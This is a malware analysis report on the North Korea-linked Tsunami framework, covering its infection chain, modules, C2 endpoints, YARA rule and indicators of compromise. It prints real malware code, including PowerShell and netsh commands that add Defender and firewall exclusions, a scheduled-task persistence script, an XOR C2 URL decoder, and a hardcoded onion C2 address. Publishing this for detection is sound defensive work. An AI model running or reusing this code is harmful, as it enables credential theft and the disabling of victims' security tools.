Rolling in the Deep(Web): Lazarus Tsunami

Summary

When HiSolutions investigated cryptocurrency theft in a software developers environment in fall
2024, the initial access vector and first stages of malware-deployment were identical to the
ongoing „Contagious Interview“-Campaign linked to North Korea.
During our analysis we were able to identify a more comprehensive sample of the Tsunami-Framework, a Malware relying on the TOR-Network and Pastebin (a SaaS) for command and control
Tsunami has a modular structure, incorporates multiple stealers and deploys two cryptominers. It has
first been identified by Luca Di Domenico and Alessio Di Santo.

Key Takeaways

  • The „Contagious Interview“-Campaign is ongoing and responsible for the theft of common and less common crypto-currencies.
  • The Threat Actor (TA) actively develops new tooling and uses Pastebin-Accounts and TOR .onion-Domains for C2.
  • The identified Tsunami-Malware is in active development and incorporates multiple crypto miners and credential stealers.

Analysis

When we first observed the Tsunami-Framework in an incident, it achieved initial access through
chainloading a malicious BeaverTail-Payload (loader) from the third-party domain “api.npoint.io”
through a private GitHub-Repository. When executed, the loader deploys the InvisibleFerret
Malware
, as is publicly known from other cases.

Our analysis of the InvisibleFerret file “.n2\bow” identified that the Framework used a Python-
Launcher with the essential parameter configuration below. Examining the variables and their
contents, we are able to identify the location where the Tsunami Injector and Tsunami Installer are
stored and executed. Additionally, the actors install a Python interpreter, presumably to ensure their
version requirements are met.

  ##### Globals ##### 

DEBUG_MODE = False

PYTHON_INSTALLER_URL = "https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe"

APPDATA_ROAMING_DIRECTORY = os.getenv("APPDATA")

TSUNAMI_INJECTOR_NAME = "Windows Update Script.pyw"
TSUNAMI_INJECTOR_FOLDER = f"{APPDATA_ROAMING_DIRECTORY}/Microsoft/Windows/Start Menu/Programs/Startup"
TSUNAMI_INJECTOR_PATH = rf"{TSUNAMI_INJECTOR_FOLDER}/{TSUNAMI_INJECTOR_NAME}"

TSUNAMI_INJECTOR_SCRIPT = """


##### Globals #####

DEBUG_MODE = False

ROAMING_APPDATA_PATH = os.getenv("APPDATA")
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA")

TSUNAMI_PAYLOAD_NAME = "".join([random.choice(string.ascii_letters) for i in range(16)])
TSUNAMI_PAYLOAD_FOLDER = tempfile.gettempdir()
TSUNAMI_PAYLOAD_PATH = rf"{TSUNAMI_PAYLOAD_FOLDER}\{TSUNAMI_PAYLOAD_NAME}"

TSUNAMI_INSTALLER_NAME = "Runtime Broker"
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications"
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe"

TSUNAMI_PAYLOAD_SCRIPT = '''
RandVar = '?'

The launcher deploys a persistent “Tsunami-Injector” named “Windows Update Script.pyw” in
“AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup” and a “Tsunami_Installer” in
“AppData/Microsoft/Windows/Applications/Runtime Broker.exe”. It then adds a Windows-Defender
Exclusion for the “Runtime Broker.exe” and creates a Scheduled Task for secondary persistence.

##### Tsunami Payload ##### 

def add_windows_defender_exception(filepath: str) -> None:
try:
subprocess.run(
["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],
shell = True,
creationflags = subprocess.CREATE_NO_WINDOW,
stdout = subprocess.PIPE,
stderr = subprocess.PIPE,
stdin = subprocess.PIPE
)

output(f"Added a new file to the Windows Defender exception")
except Exception as e:
output(f"[-] Failed to add Windows Defender exception: {e}")

def create_task() -> None:
powershell_script = f\"\"\"
$Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
$Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
$Principal.RunLevel = 1
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd
Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker"
\"\"\"

The launcher-script contains a list of 1.000 XOR-encrypted Pastebin-User-Urls and checks for
uploaded Pastes, which contain the Download-URL for the “Tsunami-Installer”.

#### URL Downloader ##### 

def xor_encrypt(text: bytes):
XOR_KEY = b"!!!HappyPenguin1950!!!"

encrypted_text = bytearray()
for i in range(len(text)):
encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])
return bytes(encrypted_text)

def xor_decrypt(text: bytes):
return xor_encrypt(text)

def decode(encoded: str) -> str:
encoded_bytes = binascii.unhexlify(encoded)
encoded_bytes = xor_decrypt(encoded_bytes)
encoded = base64.b64decode(encoded_bytes).decode()

return encoded[::-1]

def download_installer_url() -> str:
URLS = [

"6c5b6c7c2f1d081134225b0b2f2e025b6005764a434c774f7b1d19163e3d091c205419060d76004f52135951406763783b274511322d2
c0b172e027675066557437618
4b6d255400291406550d55331e224801035312631145664675",

The “Tsunami-Installer” was written in .Net and contains further persistence mechanisms. During
execution, it adds multiple Windows-Defender- and Windows-Firewall-Exclusions and, if successful,
drops a “TsuAmFlag.txt” in “AppData/Local/Temp”.

powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime 
Monitor.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe'
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow 
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime Monitor.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe' enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime Monitor.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
program=C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe" enable=yes

Depending on the existence of “TsuAmFlag.txt” the Malware lies dorment for 1 or 5 minutes.

private static void DisableWindowsSecurity() 
{
int num = AntiDefender.FlagExists() ? 1 : 0;
AntiDefender.DisableWindowsDefender();
AntiDefender.DisableWindowsFirewall();
if (num != 0)
{
Logger.LogInfo("Program.DisableWindowsSecurity", "Detected Anti Malware flag, sleeping for 1 minute");
Thread.Sleep(60000);
}
else
{
Logger.LogInfo("Program.DisableWindowsSecurity", "Did not detect Anti Malware flag, sleeping for 5 minutes");
Thread.Sleep(300000);
}

The binary further contains a “RessourceLoader” which extracts incorporated PE-Files. Here the Installer extracts a Tor-Client:

namespace TsunamiInstaller 
{
public static class ResourceLoader
{
public static byte[] Load(Resources resource)
{
byte[] resource1 = ResourceLoader.GetResource(resource);
if (resource1.Length == 0)
return new byte[0];
Array.Reverse<byte>(resource1);
return GZIP.Decompress(resource1);
}

private static byte[] GetResource(Resources resource) => resource == Resources.TorExecutable ? Resource1.tor_exe : new byte[0];
}
}

The deployed Tor-Binary is then used to downlaod a Client from a hardcoded Onion-URL:

namespace.Tsunami.Core.App 
{
public static class Meta
{
private static UsageType _UsageType = UsageType.None;
private static string _AppVersion = "";
private static string _AppSessionID = "";
private static string _ServerURL = "";

public static void Init(UsageType type, string appVersion)
{
Meta._UsageType = type;
Meta._AppVersion = appVersion;
Meta._AppSessionID = Guid.NewGuid().ToString();
Meta._ServerURL = "http://n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onion";
}

The downloaded client then contains multiple modules:

  • Backdoor
  • Botnet
  • BraveCredentialStealer
  • BrowserCookie
  • BrowserCreditCard
  • BrowserPassword
  • BrowserSession
  • ChromeCredentialStealer
  • ChromiumStealer
  • CryptoMiner
  • DataStealer
  • Decryptor
  • DiscordAccount
  • EdgeCredentialStealer
  • EncryptedKey
  • EthereumMiner
  • ExodusStealer
  • FirefoxCredentialStealer
  • GeckoStealer
  • KeyLogger
  • InfoStealer
  • MoneroMiner
  • Nss3
  • OperaGXCredentialStealer
  • Profile
  • Secret
  • SecretFileStealer
  • TemperatureTracker
  • UpdateVisitor
  • WinApi

These modules provide multiple solutions for acquiring credentials, session-keys, cookies and a
keylogger (Backdoor). A recent development has been the “SecretFileStealer” module that searches
for and uploads files matching conditions that are dynamically loaded from the C2-Server. The
“Botnet” module stands out because it is uncommon for this type of malware. It also seems to be in
the early stages of development as it is not fully functional in the most recent version.

For Command-and-Control the Onion-Domain provides multiple Endpoints:

  • /api/v1/browser-passwords
  • /api/v1/browser-sessions
  • /assets/v2/tsunami-client/file
  • /api/v1/discord-accounts
  • /api/v1/environment-info
  • /assets/v2/tsunami-client/hash
  • /api/v1/init
  • /api/v1/telemetry
  • /assets/v2/dotnet6-installer-url

Like the “Tsunami-Installer” the “Tsunami-Client” contains multiple files:

  • AMD_Compute_Mode_Enabler.reg
  • ETHW_Miner.exe
  • Ldbdump.exe
  • Tor.exe
  • XMRig.exe
  • Xmrig_config.json
  • XMRig_Driver.sys

We assume the Framework to be in a testing-phase according to the “’rig-id’: ‘test’” in
“Xmrig_config.json” (below).


"pools": [
{
"coin": "monero",
"url": "xmrpool.eu:5555",
"user": "45Kwfu8Q7B18zg5THCz3Jze9YSVn54BPh1tBgzyqJmmUL8YWwXLhs1NV1LCLLv1cJTAHrKhn4cwVNNuzdaydbDXJT9eiQuf",
"pass": "x",
"rig-id": "test",
"keepalive": true,
"enabled": true
}

Detection and Response

YARA

rule tsunami_framework : apt { 
meta:
name = "tsunami_framework"
category = "framework"
description = "Detects Tsunami-Framework"
author = "Nicolas Sprenger (HiSolutions AG)"
created = "2024-12-18"
reliability = 100
tlp = "TLP:clear"
sample = "ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527"
score = 100

strings:
$ = "=/\x00a\x00s\x00s\x00e\x00t\x00s\x00/\x00v\x002\x00/\x00t\x00s\x00u\x00n\x00a\x00m\x00i\x00-\x00c\x00l\x00i\x00e\x00n\x00t\x00"
$ = "/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00b\x00r\x00o\x00w\x00s\x00e\x00r\x00-\x00p\x00a\x00s\x00s\x00w\x00o\x00r\x00d\x00s"
$ =
"/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00i\x00n\x00i\x00t\x00\x001/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00e\x0
0n\x00v\x00i\x00r\x00o\x00n\x00m\x00e\x00n
\x00t\x00-\x00i\x00n\x00f\x00o\x00"
$ = "a\x00p\x00i\x00/\x00v\x001\x00/\x00d\x00i\x00s\x00c\x00o\x00r\x00d\x00-\x00a\x00c\x00c\x00o\x00u\x00n\x00t\x00s\x00"
$ = "a\x00s\x00s\x00e\x00t\x00s\x00/\x00v\x002\x00/\x00d\x00o\x00t\x00n\x00e\x00t\x006\x00-\x00i\x00n\x00s\x00t\x00a\x00l\x00l\x00e\x00r\x00-
\x00u\x00r\x00l"
$ = { 5473756E616D692E436F72652E436F6D6D6F6E2E }
$ = { 680074007400700073003A002F002F006100700069002E00690070006900660079002E006F0072006700 } // "https://api.ipify.org"
$ = { 68007400740070003A002F002F006900700069006E0066006F002E0069006F002F00 } // "http://ipinfo.io/"

condition:
uint16(0) == 0x5a4d and all of them
}

TTP and Indicators

MITRE ATT&CK TTP

IDTechniqueComment
T1082System Information DiscoveryDuring Initialization the malware
sends hardware and OS information to the C2.
T1589.001Gather Victim Identity Information:
Credentials
Multiple modules collect credentials from browsers and other applications.
T1587.001Develop Capabilities: MalwareThe Threat Actor actively develops the Tsunami malware.
T1584.005Compromise Infrastructure: BotnetThe malware includes Botnet functionality.
T1608Stage CapabilitiesThe infection chain relies on multiple stages hosted on different systems and services.
T1566PhishingThe Threat Actor approaches their
victims via LinkedIn and poses as a potential business partner.
T1059Command and Scripting InterpreterMultiple stages rely on Scripting
Interpreters like JavaScript,
PowerShell and Python.
T1053.005Scheduled Task/JobThe malware loader relies on a
Scheduled Task for persistence.
T1204User ExecutionThe Initial Access relies on the user executing a backdoored GitHub repository.
T1547Boot or Logon Autostart ExecutionThe Tsunami Payload creates a
Startup Task for persistence.
T1562.004Impair Defenses: Disable or Modify System FirewallThe Windows Firewall is being
disabled.
T1562.001Impair Defenses: Disable or Modify ToolsWindows Defender is being disabled.
T1027Obfuscated Files or InformationThe initial stages are heavily
obfuscated and later stages are
slightly obfuscated.
T1056Input CaptureThe malware has Keylogging
capabilities.
T1539Steal Web Session CookieThe malware exfiltrates Browser
Session Cookies.
T1555Credentials from Password StoresMultiple Applications and Browsers are accessed for credential access.
T1083File and Directory DiscoverySpecific files are sought out and
uploaded to the C2 Server.
T1020Automated ExfiltrationThe malware automatically and
periodically uploads gathered
information.
T1496.001Resource Hijacking: Compute
Hijacking
Multiple Cryptominers are deployed by the malware

Indicator of Compromise

ValueTypeComment
3f424b477ac16463e871726cbb106d41574d2d0e910dee035fbd23241515e770SHA256Tor.exe
b25e1a54e9c53bf6367c449be46f32241d1fd9bf76be9934d42c121105fb497dSHA256AMD_Compute_Mode_Enabler.reg
bb3af0c03e6b0833fa268d98e5a8b19e78fb108a830b58b2ade50c57e9fc9bedSHA256ETHW_Miner.exe
f96744a85419907e7c442b13beeefb6f985f3905a992dfefee03820ec6570feaSHA256ldbdump.exe
2883b1ae430003f3eff809f0461e18694ee1e2bc38c98f9eff22a50b5043a770SHA256XMRig.exe
94186315edde9ab18d6772449bb0b33a37490c336fccbc81bc7a6b6b728232b1SHA256xmrig_config.json
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5SHA256XMRig_Driver.sys
C:\Tsunami\Tsunami Stable\Tsunami Client\obj\Release\net6.0\win-x64\Runtime Broker.pdbPDB-Path
E:\Tsunami\Tsunami Stable\Tsunami Payload\obj\Release\net6.0\win-x64\Tsunami Payload.pdbPDB-Path
C:\Tsunami\Tsunami Stable\Tsunami Client\obj\Release\net6.0\win-x64\Runtime Broker.pdbPDB-Path
3769508daa5ee5955c7d0a5493b0a159e874745e575ac6ea1a5b544358132086SHA256Packed Sample from Onion
28660b81fd4898da3b9a861af716dc2ed60dd6a6eb582782e9d8451b1f257630SHA256Unpacked Sample from Onion
a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acbSHA256
23.254.229[.]101IPv4
http://23.254.229[.]101/cat-video URLHosts Tsunami-Installer
e9571e21150d7333bfada0ef836adad555547411a2b56990da632f64d0262ef8SHA256
a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acbSHA256cat-video
n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onionC2-
Domain
Sometimes you never know the value of a moment until it becomes a memoryString
Extensive documentation on this process has been included on
my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE
String
headers = {„User-Agent“:“Mozilla/5.0″}String
XOR_KEY = b“!!!HappyPenguin1950!!!“String

Autoren